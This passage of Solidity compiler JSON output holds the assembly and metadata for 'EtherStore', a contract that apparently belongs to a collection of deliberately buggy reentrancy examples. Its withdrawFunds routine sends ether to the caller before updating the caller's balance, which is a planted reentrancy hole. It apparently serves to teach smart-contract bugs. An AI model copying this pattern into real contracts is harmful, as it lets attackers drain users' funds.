"name": "MLOAD" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "RETURN" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "tag", | |
"value": "5" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "16" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "16" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "POP" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "PUSH [tag]", | |
"value": "17" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "PUSH [tag]", | |
"value": "18" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "tag", | |
"value": "17" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "POP" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "POP" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "RETURN" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "tag", | |
"value": "6" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "PUSH [tag]", | |
"value": "19" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "PUSH [tag]", | |
"value": "20" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "tag", | |
"value": "19" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "STOP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "tag", | |
"value": "9" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "POP" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 97, | |
"end": 148, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "tag", | |
"value": "12" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 396, | |
"end": 410, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 372, | |
"end": 380, | |
"name": "PUSH", | |
"value": "2" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 381, | |
"end": 391, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "AND" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "AND" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 372, | |
"end": 392, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 372, | |
"end": 410, | |
"name": "LT" | |
}, | |
{ | |
"begin": 372, | |
"end": 410, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "PUSH [tag]", | |
"value": "22" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "tag", | |
"value": "22" | |
}, | |
{ | |
"begin": 364, | |
"end": 411, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 479, | |
"end": 494, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 479, | |
"end": 494, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 461, | |
"end": 475, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 461, | |
"end": 494, | |
"name": "GT" | |
}, | |
{ | |
"begin": 461, | |
"end": 494, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "PUSH [tag]", | |
"value": "23" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "tag", | |
"value": "23" | |
}, | |
{ | |
"begin": 453, | |
"end": 495, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 597, | |
"end": 604, | |
"name": "PUSH", | |
"value": "93A80" | |
}, | |
{ | |
"begin": 566, | |
"end": 582, | |
"name": "PUSH", | |
"value": "1" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 583, | |
"end": 593, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "AND" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "AND" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 566, | |
"end": 594, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 566, | |
"end": 604, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 559, | |
"end": 562, | |
"name": "TIMESTAMP" | |
}, | |
{ | |
"begin": 559, | |
"end": 604, | |
"name": "LT" | |
}, | |
{ | |
"begin": 559, | |
"end": 604, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "PUSH [tag]", | |
"value": "24" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "tag", | |
"value": "24" | |
}, | |
{ | |
"begin": 551, | |
"end": 605, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 623, | |
"end": 633, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 623, | |
"end": 638, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 623, | |
"end": 638, | |
"name": "AND" | |
}, | |
{ | |
"begin": 645, | |
"end": 659, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "DUP4" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "DUP6" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "DUP8" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "GAS" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "CALL" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "POP" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "POP" | |
}, | |
{ | |
"begin": 623, | |
"end": 662, | |
"name": "POP" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "PUSH [tag]", | |
"value": "25" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "tag", | |
"value": "25" | |
}, | |
{ | |
"begin": 615, | |
"end": 663, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 697, | |
"end": 711, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 673, | |
"end": 681, | |
"name": "PUSH", | |
"value": "2" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 682, | |
"end": 692, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "AND" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "AND" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 673, | |
"end": 693, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "POP" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "POP" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 673, | |
"end": 711, | |
"name": "POP" | |
}, | |
{ | |
"begin": 752, | |
"end": 755, | |
"name": "TIMESTAMP" | |
}, | |
{ | |
"begin": 721, | |
"end": 737, | |
"name": "PUSH", | |
"value": "1" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 738, | |
"end": 748, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "AND" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "AND" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 721, | |
"end": 749, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 721, | |
"end": 755, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 721, | |
"end": 755, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 721, | |
"end": 755, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 721, | |
"end": 755, | |
"name": "POP" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "POP" | |
}, | |
{ | |
"begin": 299, | |
"end": 762, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "tag", | |
"value": "15" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "POP" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 154, | |
"end": 197, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "tag", | |
"value": "18" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 51, | |
"end": 91, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "tag", | |
"value": "20" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 277, | |
"end": 286, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 253, | |
"end": 261, | |
"name": "PUSH", | |
"value": "2" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 262, | |
"end": 272, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "AND" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "AND" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "KECCAK256" | |
}, | |
{ | |
"begin": 253, | |
"end": 273, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "POP" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "POP" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 253, | |
"end": 286, | |
"name": "POP" | |
}, | |
{ | |
"begin": 204, | |
"end": 293, | |
"name": "JUMP", | |
"value": "[out]" | |
} | |
] | |
} | |
} | |
}, | |
"methodIdentifiers": { | |
"balances(address)": "27e235e3", | |
"depositFunds()": "e2c41dbc", | |
"lastWithdrawTime(address)": "1031ec31", | |
"withdrawFunds(uint256)": "155dd5ee", | |
"withdrawalLimit()": "7ddfe78d" | |
} | |
}, | |
"metadata": "{\"compiler\":{\"version\":\"0.4.26+commit.4563c3fc\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"lastWithdrawTime\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_weiToWithdraw\",\"type\":\"uint256\"}],\"name\":\"withdrawFunds\",\"outputs\":[],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"balances\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"withdrawalLimit\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"depositFunds\",\"outputs\":[],\"payable\":true,\"stateMutability\":\"payable\",\"type\":\"function\"}],\"devdoc\":{\"methods\":{}},\"userdoc\":{\"methods\":{}}},\"settings\":{\"compilationTarget\":{\"bit-smartcontract-bug/reentrancy/EtherStore.sol\":\"EtherStore\"},\"evmVersion\":\"byzantium\",\"libraries\":{},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[]},\"sources\":{\"bit-smartcontract-bug/reentrancy/EtherStore.sol\":{\"keccak256\":\"0xb7f87cf33041b451ad3adca18292a695410cbcda6375797f34dc30d1a9c2323a\",\"urls\":[\"bzzr://c7065c996fe4cc3ffef1380b7797b23c739a1fa17f7c4bfe024ced4af21da8b2\"]}},\"version\":1}", | |
"userdoc": { | |
"methods": {} | |
} | |
} | |
} | |
}, | |
"errors": [ | |
{ | |
"component": "general", | |
